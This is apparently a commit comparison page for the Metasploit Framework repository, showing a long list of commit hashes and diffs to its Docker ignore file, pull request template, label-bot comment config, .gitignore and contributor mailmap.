Compare commits
449 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| b2aa922a29 | |||
| 64201ad782 | |||
| 6919d1a981 | |||
| 9a72d0cbe7 | |||
| 691d8f2c41 | |||
| 0735113db2 | |||
| c362d668ab | |||
| 184670f62c | |||
| fe13b00d84 | |||
| ba3fa4bf91 | |||
| eb6142c2f8 | |||
| 4c87d38a60 | |||
| 88518ec4ae | |||
| d138ddba8d | |||
| 861097d246 | |||
| 36f776d4a6 | |||
| 0b38f6486d | |||
| 06e8cc49f5 | |||
| 942befab73 | |||
| 3ffcc658e6 | |||
| f6a7f19e2b | |||
| dbd03f9914 | |||
| 465dceb182 | |||
| 9db75849a9 | |||
| 58a88194eb | |||
| 4f67361b46 | |||
| 8540f2cd1c | |||
| f18fd4aca1 | |||
| 81ef17aa62 | |||
| b44cccc368 | |||
| 5827fb5174 | |||
| 40ce762481 | |||
| 8586e6fc8f | |||
| d11eaf3d74 | |||
| 45f354e55d | |||
| 3a92908e9b | |||
| d480ee8e20 | |||
| 4284ffe8a4 | |||
| 9dc3e35f23 | |||
| a4f0dc5ea2 | |||
| e915bb0f66 | |||
| e4aa20ac47 | |||
| 5d95172a81 | |||
| 2052584a31 | |||
| 1abbd61cee | |||
| fbd68df409 | |||
| b5981caa0b | |||
| 69830c0ff5 | |||
| b894f9b6e7 | |||
| 59e0d7b8d2 | |||
| 4fedee604d | |||
| 7f3dfccbfe | |||
| c5dce5edd7 | |||
| 144923db3a | |||
| d4054c24bd | |||
| 709630e35c | |||
| fa95c0c2a1 | |||
| 9bed9f0797 | |||
| fd7ea515aa | |||
| 8260351762 | |||
| 9486aadf64 | |||
| 75d305eef0 | |||
| d310659a77 | |||
| 9aeebf35fe | |||
| 33a909939d | |||
| 87b50e57cc | |||
| 13f981f03f | |||
| 165fb9dc79 | |||
| d4dfb98fb9 | |||
| f14597bcb2 | |||
| bf3e9d8771 | |||
| 0a9dca2b5a | |||
| 2b655e4674 | |||
| 21fc8108ac | |||
| 679378d025 | |||
| 7b7f244164 | |||
| cddb0f2b4d | |||
| cc293b54c4 | |||
| 07f2e664e7 | |||
| e6ca28100c | |||
| 5fb3ffed55 | |||
| d723ffc3ee | |||
| 0bcbcab3d8 | |||
| 17c0bc1fa7 | |||
| 5998896b48 | |||
| 95cb9f3654 | |||
| ce48ff4382 | |||
| 95ee536705 | |||
| 94abd923f3 | |||
| 8cd65324c6 | |||
| 3a6401a420 | |||
| fff6d2ebb7 | |||
| 5323b40f60 | |||
| 972e89b2d7 | |||
| e78715b073 | |||
| 8d86ff0065 | |||
| 7e2c1fae2c | |||
| 0a19221af2 | |||
| 7f372d178d | |||
| 08a6fd3b3b | |||
| 60a9e08cdc | |||
| f5e83d7542 | |||
| 43ae360e15 | |||
| e6a9421e35 | |||
| 9423cdb40b | |||
| 27ab8fdd01 | |||
| aa5c114364 | |||
| f6e0f5bd81 | |||
| 1df5b7655f | |||
| 5f469efacf | |||
| 31ce48502c | |||
| 650c5c7a93 | |||
| 40489fd1f1 | |||
| 30f2fe495b | |||
| 2a9399251c | |||
| d2523e03df | |||
| e7ab118aaf | |||
| 87c6befb45 | |||
| 122af6b143 | |||
| c8ff6cb5a4 | |||
| 9e9e129716 | |||
| b4e305862a | |||
| 3f200fa722 | |||
| caa8b673ed | |||
| 4142b49307 | |||
| 0dc0d3c0ba | |||
| 9bfd7a6bdb | |||
| d78f2e7bbd | |||
| 196b302897 | |||
| 0e5e151403 | |||
| e6a7ec3276 | |||
| 8243207223 | |||
| a177e762d1 | |||
| 89e9f60121 | |||
| 984384b59d | |||
| 016ee4d460 | |||
| 1eabf5dd3d | |||
| 81368bef7a | |||
| 7b3169ad0a | |||
| 9b152cec72 | |||
| 9e326d7c88 | |||
| 9f8dd68d0d | |||
| 5aa0078f4b | |||
| d5019be697 | |||
| a51c1209ab | |||
| 597a64b61b | |||
| bacab0507b | |||
| 06d3ab12a1 | |||
| 4a93947b1a | |||
| 6e71f5c5fd | |||
| 9a273a2663 | |||
| 012de0f6b1 | |||
| cbac801b88 | |||
| bbb5ff8ad4 | |||
| f9d27aaa30 | |||
| 06711c6da9 | |||
| 2f50df7fe7 | |||
| 14ff692d12 | |||
| 78c07b86c4 | |||
| 2d69675650 | |||
| 07d754f637 | |||
| 2d21fbe682 | |||
| 72d8f5ba22 | |||
| 3bc5b0bdcb | |||
| afa3b3a83f | |||
| 1de1b04c4f | |||
| a75b37579d | |||
| a260716305 | |||
| bbbd81bf1f | |||
| b2b97db28b | |||
| 80b16ea645 | |||
| 76a47b81bc | |||
| 0aaae09e5c | |||
| 78f546ce81 | |||
| 0901f35f9c | |||
| dcbc871883 | |||
| 75196b4fc6 | |||
| 9785ace675 | |||
| a74b2b5716 | |||
| 935fa6414e | |||
| 38465e69a8 | |||
| 6c669ecdfc | |||
| e0317671fe | |||
| 8739befa70 | |||
| d6cea3523a | |||
| ad33d72e6e | |||
| 635f483b42 | |||
| f4d9788454 | |||
| 37767e9d4c | |||
| 9f2a442d9b | |||
| a14892774f | |||
| 7382928f10 | |||
| c38bca1799 | |||
| 3b8280c33f | |||
| 173171e2c8 | |||
| 0ba4e349a1 | |||
| 009e643ae3 | |||
| 188b02d1f5 | |||
| 3b7d2c8177 | |||
| 92ada42fc5 | |||
| b3ac70f539 | |||
| 1d7ecb6d9e | |||
| 492b6003b5 | |||
| d340ef2632 | |||
| c23cbde8a1 | |||
| ab12eb8c50 | |||
| 2aa7904270 | |||
| 6ea0e734f9 | |||
| efc9c1724f | |||
| 0949bedf67 | |||
| e5db541726 | |||
| 9ea69b1e35 | |||
| 505eff4403 | |||
| a44bcff2d8 | |||
| abfcdc3fa7 | |||
| 6cbd7ba895 | |||
| d2a43d934d | |||
| 01b4b52407 | |||
| 63e096836f | |||
| b958526b6a | |||
| 8bacddb18f | |||
| 0bb0e78599 | |||
| 3c677aa6bf | |||
| 6b9be37741 | |||
| c6d92e3123 | |||
| 5b42a81d3a | |||
| c3ecbb723d | |||
| e43686177a | |||
| 4e34413026 | |||
| a8a0dd3fcb | |||
| 3fae373270 | |||
| d394146339 | |||
| 876df392f1 | |||
| 084e6b1db3 | |||
| 1743730158 | |||
| c9ae351156 | |||
| c5db4c5021 | |||
| fcafc54db1 | |||
| 62c6340d70 | |||
| 06062f0347 | |||
| 69d995f98c | |||
| ded6a50883 | |||
| 8707047f41 | |||
| 914f8ba872 | |||
| 4765ffc05a | |||
| 706b87d085 | |||
| ef4fd1dc75 | |||
| 9d5ab1dedf | |||
| c2bf848ba9 | |||
| 7f62d49b2a | |||
| 1557540b08 | |||
| f4810c1085 | |||
| f956bb9943 | |||
| d98e85f97c | |||
| c3f9ee2ae3 | |||
| d6f23071ca | |||
| 61da48fc5d | |||
| d192be7764 | |||
| 5560b201b0 | |||
| 6b15be18e7 | |||
| 707b358ad6 | |||
| 60376fe3f4 | |||
| 10ed6637ed | |||
| c7d5d1f489 | |||
| 5d9d0b19ee | |||
| 9d076f6842 | |||
| 36ba1468e8 | |||
| 3b87bf5a03 | |||
| 6108d79dcd | |||
| 409ae22a7e | |||
| fdf9ea04a6 | |||
| 5b1577e46d | |||
| 135b7c6b92 | |||
| 17040e9894 | |||
| 71a1ad69dc | |||
| 57411b4ef8 | |||
| b870091380 | |||
| c31a8ab687 | |||
| 72d2b46ac8 | |||
| 26d333357b | |||
| 584a6ca796 | |||
| 106fbf8a17 | |||
| c56e571b18 | |||
| b860985347 | |||
| a94e6559e6 | |||
| 8bf76a71c2 | |||
| 517b32c836 | |||
| 37576d19a1 | |||
| 030eae5f61 | |||
| 2ad3124f85 | |||
| d756db4f9d | |||
| ef7b77ed01 | |||
| dcb514e5ac | |||
| 7d072ccbcd | |||
| 715279311a | |||
| 8af0d9ceaa | |||
| 44ac2e9c58 | |||
| bf43542743 | |||
| 8f4895c8e7 | |||
| c5e231cfbf | |||
| 028d329b4d | |||
| 8c60a73731 | |||
| bcc0a2a94c | |||
| 149f04cc58 | |||
| 4778de053a | |||
| 49bc0024c1 | |||
| fbee660136 | |||
| 64019d3301 | |||
| 4ef90d8d6c | |||
| c1b50f728b | |||
| f6223c0193 | |||
| 9be7bc9b21 | |||
| d3b4f91b4c | |||
| 6909c635bc | |||
| 31bf6d1bd0 | |||
| 2731b91036 | |||
| e57a1fbd43 | |||
| d5edb566f5 | |||
| 00d5fcfd97 | |||
| 0c86296d99 | |||
| d2150c8d15 | |||
| 4841f29190 | |||
| 6060549512 | |||
| b63a018509 | |||
| 4839e8e7c8 | |||
| 80f34c9b2d | |||
| 3fd2862f76 | |||
| 096ca90953 | |||
| 667cc5bcca | |||
| 789034a06c | |||
| b2f112fd2b | |||
| fac7f3d5be | |||
| 95a5ebc1e7 | |||
| 735fbc5c9f | |||
| fc8cafe81a | |||
| bffba1e5e3 | |||
| 3021a3202b | |||
| 0a5e9d922f | |||
| 2af4f56382 | |||
| ac6fede928 | |||
| c7cd9ca395 | |||
| fd029eda62 | |||
| 178afdaed1 | |||
| a189673782 | |||
| 826b986018 | |||
| 4e8fe54c6c | |||
| c1d701f656 | |||
| dc913b60e4 | |||
| 40220b5ab6 | |||
| 72cb9f358e | |||
| eb54ae4ec0 | |||
| 3635a92f5a | |||
| af8736cad6 | |||
| 72efbb9534 | |||
| d614e06bfa | |||
| 59a41f04f7 | |||
| 8c2484d2da | |||
| d2c203bcb9 | |||
| 13c8072bca | |||
| 5dede95e98 | |||
| 2395f839d0 | |||
| a27b2bff3c | |||
| f581942c7f | |||
| b3962c73b0 | |||
| 2d10a9a201 | |||
| 0b719772cb | |||
| d89a8c3eb9 | |||
| f055bccc2a | |||
| 51a685bcc7 | |||
| d2e71cfc8b | |||
| 60e37e1c78 | |||
| 31ed50ac92 | |||
| 004e228a52 | |||
| e8ad3a98e9 | |||
| b9a8f227fb | |||
| 87dcb13413 | |||
| 1045c1fc11 | |||
| c5a73bdea3 | |||
| 7cde510eb6 | |||
| 358954e15c | |||
| 0cee8485d0 | |||
| bdc0b47844 | |||
| aecc1f143f | |||
| f281b45384 | |||
| e485b152e3 | |||
| 1126acb201 | |||
| 37cb2d77e7 | |||
| 6c3168c541 | |||
| 73bcec5d11 | |||
| 090f7c8bd6 | |||
| 72ed11574b | |||
| cd7187023c | |||
| 32bd516e70 | |||
| 656eb1150a | |||
| 55ae1f7bbe | |||
| 4d4538dceb | |||
| cd723ac86e | |||
| b0da7fcd26 | |||
| 0fe2fb9186 | |||
| a7e779d987 | |||
| b696665adc | |||
| 909b787a56 | |||
| 5457cec81c | |||
| 64c0d60fbf | |||
| 49c9b3cf1e | |||
| e82ff28374 | |||
| 1fdc4bdabb | |||
| 6c350be24e | |||
| 016af01fd8 | |||
| ce3d5d77e4 | |||
| ec12d61702 | |||
| 445b72fdcd | |||
| 48c3c7cd62 | |||
| 64746d8325 | |||
| b7fbffa331 | |||
| 4fa68f29d9 | |||
| a9d4a98d80 | |||
| cca76d2217 | |||
| bff02efad4 | |||
| 395320ba97 | |||
| a87ae41d81 | |||
| 0d98135fcb | |||
| c2379308cf | |||
| af0c58c2ae | |||
| b515a582f0 | |||
| 25652c6c17 | |||
| 926ce42a01 | |||
| 2ea9ab2625 | |||
| a4022f7b8f | |||
| 06b702e86b | |||
| 8f2de5cd41 | |||
| a136841794 | |||
| 15f631dcb5 | |||
| d6beb94c59 | |||
| 5ec3da843e | |||
| 294a8e0ada | |||
| bb73d2c07e | |||
| 47682e3f37 | |||
| 5fc1988d63 | |||
| ab610f599b | |||
| 7da3bdd081 | |||
| 10fafb62bb | |||
| 512192d3b0 | |||
| 55c345418d | |||
| b8fc2c0213 | |||
| 23619431aa | |||
| 0916d8402e | |||
| bf6540585f | |||
| 898aa82933 |
@@ -5,8 +5,6 @@ docker-compose*.yml
|
||||
docker/
|
||||
!docker/msfconsole.rc
|
||||
!docker/entrypoint.sh
|
||||
!docker/database.yml
|
||||
Dockerfile
|
||||
README.md
|
||||
.git/
|
||||
.github/
|
||||
|
||||
@@ -2,8 +2,6 @@
|
||||
Tell us what this change does. If you're fixing a bug, please mention
|
||||
the github issue number.
|
||||
|
||||
Please ensure you are submitting **from a unique branch** in your [repository](https://github.com/rapid7/metasploit-framework/pull/11086#issuecomment-445506416) to master in Rapid7's.
|
||||
|
||||
## Verification
|
||||
|
||||
List the steps needed to make sure this thing works
|
||||
|
||||
@@ -1,113 +0,0 @@
|
||||
# Configuration for Github App - https://github.com/dessant/label-actions
|
||||
#
|
||||
# Note: Be aware of the edge cases of YAML when writing multiline strings:
|
||||
# - https://yaml-multiline.info/
|
||||
# - https://github.com/dessant/label-actions/issues/1
|
||||
pulls:
|
||||
actions:
|
||||
attic:
|
||||
close: true
|
||||
comment: |
|
||||
Thanks for your contribution to Metasploit Framework! We've looked at this pull request, and we agree that it seems like a good addition to Metasploit, but it looks like it is not quite ready to land. We've labeled it `attic` and closed it for now.
|
||||
|
||||
What does this generally mean? It could be one or more of several things:
|
||||
|
||||
- It doesn't look like there has been any activity on this pull request in a while
|
||||
- We may not have the proper access or equipment to test this pull request, or the contributor doesn't have time to work on it right now.
|
||||
- Sometimes the implementation isn't quite right and a different approach is necessary.
|
||||
|
||||
We would love to land this pull request when it's ready. If you have a chance to address all comments, we would be happy to reopen and discuss how to merge this!
|
||||
|
||||
needs-docs:
|
||||
comment: |
|
||||
Thanks for your pull request! Before this can be merged, we need the following documentation for your module:
|
||||
|
||||
- [Writing Module Documentation](https://github.com/rapid7/metasploit-framework/wiki/Writing-Module-Documentation)
|
||||
- [Template](https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/module_doc_template.md)
|
||||
- [Examples](https://github.com/rapid7/metasploit-framework/tree/master/documentation/modules)
|
||||
|
||||
needs-linting:
|
||||
comment: |
|
||||
Thanks for your pull request! Before this pull request can be merged, it must pass the checks of our automated linting tools.
|
||||
|
||||
We use Rubocop and msftidy to ensure the quality of our code. This can be ran from the root directory of Metasploit:
|
||||
|
||||
```
|
||||
rubocop <directory or file>
|
||||
tools/dev/msftidy.rb <directory or file>
|
||||
```
|
||||
|
||||
You can automate most of these changes with the `-a` flag:
|
||||
|
||||
```
|
||||
rubocop -a <directory or file>
|
||||
```
|
||||
|
||||
Please update your branch after these have been made, and reach out if you have any problems.
|
||||
|
||||
needs-unique-branch:
|
||||
close: true
|
||||
comment: |
|
||||
Thanks for your pull request! We require for all contributed code to come from a **from a unique branch** in your repository before it can be merged.
|
||||
|
||||
Please create a new branch in your fork of framework and resubmit this from that branch.
|
||||
|
||||
If you are using Git on the command line that may look like:
|
||||
|
||||
```
|
||||
# Checkout the master branch
|
||||
git checkout master
|
||||
|
||||
# Create a new branch for your feature
|
||||
git checkout -b <BRANCH_NAME>
|
||||
|
||||
# Add your new files
|
||||
git add modules/my-cool-new-module
|
||||
|
||||
# Commit your changes with a relevant message
|
||||
git commit
|
||||
|
||||
# Push your changes to GitHub
|
||||
git push origin <BRANCH_NAME>
|
||||
|
||||
# Now browse to the following URL and create your pull request!
|
||||
# - https://github.com/rapid7/metasploit-framework/pulls
|
||||
```
|
||||
|
||||
This helps protect the process, ensure users are aware of commits on the branch being considered for merge, allows for a location for more commits to be offered without mingling with other contributor changes and allows contributors to make progress while a PR is still being reviewed.
|
||||
|
||||
Please do resubmit from a unique branch, we greatly value your contribution! :tada:
|
||||
|
||||
needs-testing-environment:
|
||||
comment: |
|
||||
Thanks for your pull request! As part of our landing process, we manually verify that all modules work as expected.
|
||||
|
||||
We have been unable to test this module successfully. This may be due to software or hardware requirements we cannot replicate.
|
||||
|
||||
To help unblock this pull request, please:
|
||||
|
||||
- Comment with links to documentation on how to set up an environment, and provide exact software version numbers to use
|
||||
- Or comment guided steps on how to set up our environment for testing this module
|
||||
- Or send pcaps/screenshots/recordings of it working - you can email us msfdev[at]rapid7.com
|
||||
|
||||
Once there's a clear path for testing and evaluating this module, we can progress with this further.
|
||||
|
||||
issues:
|
||||
actions:
|
||||
termux:
|
||||
comment: |
|
||||
Termux is not officially supported. https://github.com/rapid7/metasploit-framework/issues/11023
|
||||
|
||||
However, Metasploit reportedly does work with Termux.
|
||||
|
||||
Refer to the following for more information:
|
||||
|
||||
* https://wiki.termux.com/wiki/Metasploit_Framework
|
||||
* termux/termux-packages/issues/715
|
||||
|
||||
potato:
|
||||
close: true
|
||||
comment: |
|
||||
When creating an issue, please ensure that the default issue template has been updated with the required details.
|
||||
|
||||
Closing this issue. If you believe this issue has been closed in error, please provide any relevant output and logs which may be useful in diagnosing the issue.
|
||||
@@ -93,7 +93,3 @@ docker-compose.local*
|
||||
# Ignore python bytecode
|
||||
*.pyc
|
||||
rspec.failures
|
||||
|
||||
|
||||
#Ignore any base disk store files
|
||||
db/modules_metadata_base.pstore
|
||||
@@ -1,43 +1,59 @@
|
||||
acammack-r7 <acammack-r7@github> <acammack@aus-mbp-1099.aus.rapid7.com>
|
||||
acammack-r7 <acammack-r7@github> <adam_cammack@rapid7.com>
|
||||
acammack-r7 <acammack-r7@github> <Adam_Cammack@rapid7.com>
|
||||
adamgalway-r7 <adamgalway-r7@github> <adam_galway@rapid7.com>
|
||||
adfoster-r7 <adfoster-r7@github> <alandavid_foster@rapid7.com>
|
||||
bcook-r7 <bcook-r7@github> <bcook@rapid7.com>
|
||||
bcook-r7 <bcook-r7@github> <busterb@gmail.com>
|
||||
bturner-r7 <bturner-r7@github> <brandon_turner@rapid7.com>
|
||||
bwatters-r7 <bwatters-r7@github> <bwatters@rapid7.com>
|
||||
cdelafuente-r7 <cdelafuente-r7@github> Christophe De La Fuente <christophe_delafuente@rapid7.com>
|
||||
cdoughty-r7 <cdoughty-r7@github> <chris_doughty@rapid7.com>
|
||||
dheiland-r7 <dheiland-r7@github> <dh@layereddefense.com>
|
||||
dwelch-r7 <dwelch-r7@github> <dean_welch@rapid7.com>
|
||||
ecarey-r7 <ecarey-r7@github> <e@ipwnstuff.com>
|
||||
gwillcox-r7 <gwillcox-r7@github> <Grant_Willcox@rapid7.com>
|
||||
jbarnett-r7 <jbarnett-r7@github> <James_Barnett@rapid7.com>
|
||||
jbarnett-r7 <jbarnett-r7@github> <jbarnett@rapid7.com>
|
||||
jinq102030 <jinq102030@github> <Jin_Qian@rapid7.com>
|
||||
jinq102030 <jinq102030@github> <jqian@rapid7.com>
|
||||
jmartin-r7 <jmartin-r7@github> <Jeffrey_Martin@rapid7.com>
|
||||
lsato-r7 <lsato-r7@github> <lsato@rapid7.com>
|
||||
lvarela-r7 <lvarela-r7@github> <“leonardo_varela@rapid7.com”>
|
||||
mkienow-r7 <mkienow-r7@github> <matthew_kienow@rapid7.com>
|
||||
pbarry-r7 <pbarry-r7@github> <pearce_barry@rapid7.com>
|
||||
pdeardorff-r7 <pdeardorff-r7@github> <paul_deardorff@rapid7.com>
|
||||
pdeardorff-r7 <pdeardorff-r7@github> <Paul_Deardorff@rapid7.com>
|
||||
sgonzalez-r7 <sgonzalez-r7@github> <sgonzalez@rapid7.com>
|
||||
sgonzalez-r7 <sgonzalez-r7@github> <sonny_gonzalez@rapid7.com>
|
||||
shuckins-r7 <shuckins-r7@github> <samuel_huckins@rapid7.com>
|
||||
smcintyre-r7 <smcintyre-r7@github> <spencer_mcintyre@rapid7.com>
|
||||
space-r7 <space-r7@github> <shelby_pace@rapid7.com>
|
||||
tdoan-r7 <tdoan-r7@github> <thao_doan@rapid7.com>
|
||||
todb-r7 <todb-r7@github> <tod_beardsley@rapid7.com>
|
||||
todb-r7 <todb-r7@github> <todb@metasploit.com>
|
||||
todb-r7 <todb-r7@github> <todb@packetfu.com>
|
||||
wchen-r7 <wchen-r7@github> <msfsinn3r@gmail.com> # aka sinn3r
|
||||
wchen-r7 <wchen-r7@github> <wei_chen@rapid7.com>
|
||||
wvu-r7 <wvu-r7@github> <William_Vu@rapid7.com>
|
||||
wvu-r7 <wvu-r7@github> <wvu@nmt.edu>
|
||||
wwalker-r7 <wwalker-r7@github> <wyatt_walker@rapid7.com>
|
||||
acammack-r7 <acammack-r7@github> <acammack@aus-mbp-1099.aus.rapid7.com>
|
||||
acammack-r7 <acammack-r7@github> <adam_cammack@rapid7.com>
|
||||
acammack-r7 <acammack-r7@github> <Adam_Cammack@rapid7.com>
|
||||
asoto-r7 <asoto-r7@github> <aaron_soto@rapid7.com>
|
||||
bcook-r7 <bcook-r7@github> <bcook@rapid7.com>
|
||||
bcook-r7 <bcook-r7@github> <busterb@gmail.com>
|
||||
bpatterson-r7 <bpatterson-r7@github> <“bpatterson@rapid7.com”>
|
||||
bpatterson-r7 <bpatterson-r7@github> <Brian_Patterson@rapid7.com>
|
||||
bturner-r7 <bturner-r7@github> <brandon_turner@rapid7.com>
|
||||
bwatters-r7 <bwatters-r7@github> <bwatters@rapid7.com>
|
||||
cdoughty-r7 <cdoughty-r7@github> <chris_doughty@rapid7.com>
|
||||
dheiland-r7 <dheiland-r7@github> <dh@layereddefense.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> <David_Maloney@rapid7.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> <DMaloney@rapid7.com>
|
||||
dmohanty-r7 <dmohanty-r7@github> <Dev_Mohanty@rapid7.com>
|
||||
ecarey-r7 <ecarey-r7@github> <e@ipwnstuff.com>
|
||||
egypt <egypt@github> <egypt@metasploit.com> # aka egypt
|
||||
egypt <egypt@github> <james_lee@rapid7.com>
|
||||
jbarnett-r7 <jbarnett-r7@github> <James_Barnett@rapid7.com>
|
||||
jbarnett-r7 <jbarnett-r7@github> <jbarnett@rapid7.com>
|
||||
jhart-r7 <jhart-r7@github> <jon_hart@rapid7.com>
|
||||
jinq102030 <jinq102030@github> <Jin_Qian@rapid7.com>
|
||||
jinq102030 <jinq102030@github> <jqian@rapid7.com>
|
||||
jmartin-r7 <jmartin-r7@github> <Jeffrey_Martin@rapid7.com>
|
||||
kgray-r7 <kgray-r7@github> <kyle_gray@rapid7.com>
|
||||
khayes-r7 <khayes-r7@github> <Kirk_Hayes@rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance@aus-mac-1041.aus.rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance@AUS-MAC-1041.local>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez+github@gmail.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@gmail.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@rapid7.com>
|
||||
lsato-r7 <lsato-r7@github> <lsato@rapid7.com>
|
||||
lvarela-r7 <lvarela-r7@github> <“leonardo_varela@rapid7.com”>
|
||||
mkienow-r7 <mkienow-r7@github> <matthew_kienow@rapid7.com>
|
||||
pbarry-r7 <pbarry-r7@github> <pearce_barry@rapid7.com>
|
||||
pdeardorff-r7 <pdeardorff-r7@github> <paul_deardorff@rapid7.com>
|
||||
pdeardorff-r7 <pdeardorff-r7@github> <Paul_Deardorff@rapid7.com>
|
||||
sdavis-r7 <sdavis-r7@github> <scott_davis@rapid7.com>
|
||||
sdavis-r7 <sdavis-r7@github> <Scott_Davis@rapid7.com>
|
||||
sdavis-r7 <sdavis-r7@github> <sdavis@rapid7.com>
|
||||
sgonzalez-r7 <sgonzalez-r7@github> <sgonzalez@rapid7.com>
|
||||
sgonzalez-r7 <sgonzalez-r7@github> <sonny_gonzalez@rapid7.com>
|
||||
shuckins-r7 <shuckins-r7@github> <samuel_huckins@rapid7.com>
|
||||
space-r7 <space-r7@github> <shelby_pace@rapid7.com>
|
||||
tatanus <tatanus@github> <adam_compton@rapid7.com>
|
||||
tdoan-r7 <tdoan-r7@github> <thao_doan@rapid7.com>
|
||||
todb-r7 <todb-r7@github> <tod_beardsley@rapid7.com>
|
||||
todb-r7 <todb-r7@github> <todb@metasploit.com>
|
||||
todb-r7 <todb-r7@github> <todb@packetfu.com>
|
||||
wchen-r7 <wchen-r7@github> <msfsinn3r@gmail.com> # aka sinn3r
|
||||
wchen-r7 <wchen-r7@github> <wei_chen@rapid7.com>
|
||||
wvu-r7 <wvu-r7@github> <William_Vu@rapid7.com>
|
||||
wvu-r7 <wvu-r7@github> <wvu@cs.nmt.edu>
|
||||
wvu-r7 <wvu-r7@github> <wvu@metasploit.com>
|
||||
wwalker-r7 <wwalker-r7@github> <wyatt_walker@rapid7.com>
|
||||
wwebb-r7 <wwebb-r7@github> <William_Webb@rapid7.com>
|
||||
|
||||
# Above this line are current Rapid7 employees. Below this paragraph are
|
||||
# volunteers, former employees, and potential Rapid7 employees who, at
|
||||
@@ -46,12 +62,10 @@ wwalker-r7 <wwalker-r7@github> <wyatt_walker@rapid7.com>
|
||||
# periodically. If you're on this list and would like to not be, just
|
||||
# let todb@metasploit.com know.
|
||||
|
||||
asoto-r7 <asoto-r7@github> <aaron_soto@rapid7.com>
|
||||
bannedit <bannedit@github> David Rude <bannedit0@gmail.com>
|
||||
bcoles <bcoles@github> bcoles <bcoles@gmail.com>
|
||||
bcoles <bcoles@github> Brendan Coles <bcoles@gmail.com>
|
||||
bokojan <bokojan@github> parzamendi-r7 <peter_arzamendi@rapid7.com>
|
||||
bpatterson-r7 <bpatterson-r7@github> <bpatterson@rapid7.com>
|
||||
bpatterson-r7 <bpatterson-r7@github> <Brian_Patterson@rapid7.com>
|
||||
brandonprry <brandonprry@github> <bperry@brandons-mbp.attlocal.net>
|
||||
brandonprry <brandonprry@github> Brandon Perry <bperry@bperry-rapid7.(none)>
|
||||
brandonprry <brandonprry@github> Brandon Perry <bperry.volatile@gmail.com>
|
||||
@@ -70,13 +84,8 @@ corelanc0d3r <corelanc0d3r@github> Peter Van Eeckhoutte (corelanc0d3r) <pete
|
||||
crcatala <crcatala@github> Christian Catalan <ccatalan@rapid7.com>
|
||||
darkoperator <darkoperator@github> Carlos Perez <carlos_perez@darkoperator.com>
|
||||
DanielRTeixeira <DanielRTeixeira@github> Daniel Teixeira <danieljcrteixeira@gmail.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> <David_Maloney@rapid7.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> <DMaloney@rapid7.com>
|
||||
dmohanty-r7 <dmohanty-r7@github> <Dev_Mohanty@rapid7.com>
|
||||
efraintorres <efraintorres@github> efraintorres <etlownoise@gmail.com>
|
||||
efraintorres <efraintorres@github> et <>
|
||||
egypt <egypt@github> <egypt@metasploit.com> # aka egypt
|
||||
egypt <egypt@github> <james_lee@rapid7.com>
|
||||
espreto <espreto@github> <robertoespreto@gmail.com>
|
||||
fab <fab@???> fab <> # fab at revhosts.net (Fabrice MOURRON)
|
||||
farias-r7 <farias-r7@github> <fernando_arias@rapid7.com>
|
||||
@@ -102,7 +111,6 @@ jcran <jcran@github> <jcran@rapid7.com>
|
||||
jduck <jduck@github> <github.jdrake@qoop.org>
|
||||
jduck <jduck@github> <jdrake@qoop.org>
|
||||
jgor <jgor@github> jgor <jgor@indiecom.org>
|
||||
jhart-r7 <jhart-r7@github> <jon_hart@rapid7.com>
|
||||
joevennix <joevennix@github> Joe Vennix <joevennix@gmail.com>
|
||||
joevennix <joevennix@github> <Joe_Vennix@rapid7.com>
|
||||
joevennix <joevennix@github> <joev@metasploit.com>
|
||||
@@ -112,15 +120,9 @@ juanvazquez <juanvazquez@github> jvazquez-r7 <juan_vazquez@rapid7.com>
|
||||
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@kernelsmith.com>
|
||||
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@metasploit.com>
|
||||
kernelsmith <kernelsmith@github> kernelsmith <kernelsmith@kernelsmith>
|
||||
kgray-r7 <kgray-r7@github> <kyle_gray@rapid7.com>
|
||||
kost <kost@github> Vlatko Kosturjak <kost@linux.hr>
|
||||
kris <kris@???> kris <>
|
||||
KronicDeth <KronicDeth@github> Luke Imhoff <luke_imhoff@rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance@aus-mac-1041.aus.rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance@AUS-MAC-1041.local>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez+github@gmail.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@gmail.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@rapid7.com>
|
||||
m-1-k-3 <m-1-k-3@github> m-1-k-3 <github@s3cur1ty.de>
|
||||
m-1-k-3 <m-1-k-3@github> m-1-k-3 <m1k3@s3cur1ty.de>
|
||||
m-1-k-3 <m-1-k-3@github> m-1-k-3 <michael.messner@integralis.com>
|
||||
@@ -150,16 +152,12 @@ rwhitcroft <rwhitcroft@github> <rwhitcroft@users.noreply.github.com>
|
||||
schierlm <schierlm@github> Michael Schierl <schierlm@gmx.de> # Aka mihi
|
||||
scriptjunkie <scriptjunkie@github> Matt Weeks <scriptjunkie@scriptjunkie.us>
|
||||
scriptjunkie <scriptjunkie@github> scriptjunkie <scriptjunkie@scriptjunkie.us>
|
||||
sdavis-r7 <sdavis-r7@github> <scott_davis@rapid7.com>
|
||||
sdavis-r7 <sdavis-r7@github> <Scott_Davis@rapid7.com>
|
||||
sdavis-r7 <sdavis-r7@github> <sdavis@rapid7.com>
|
||||
skape <skape@???> Matt Miller <mmiller@hick.org>
|
||||
spoonm <spoonm@github> Spoon M <spoonm@gmail.com>
|
||||
stufus <stufus@github> Stuart Morgan <stuart.morgan@mwrinfosecurity.com>
|
||||
stufus <stufus@github> Stuart <stufus@users.noreply.github.com>
|
||||
swtornio <swtornio@github> Steve Tornio <swtornio@gmail.com>
|
||||
Tasos Laskos <Tasos_Laskos@rapid7.com> Tasos Laskos <Tasos_Laskos@rapid7.com>
|
||||
tatanus <tatanus@github> <adam_compton@rapid7.com>
|
||||
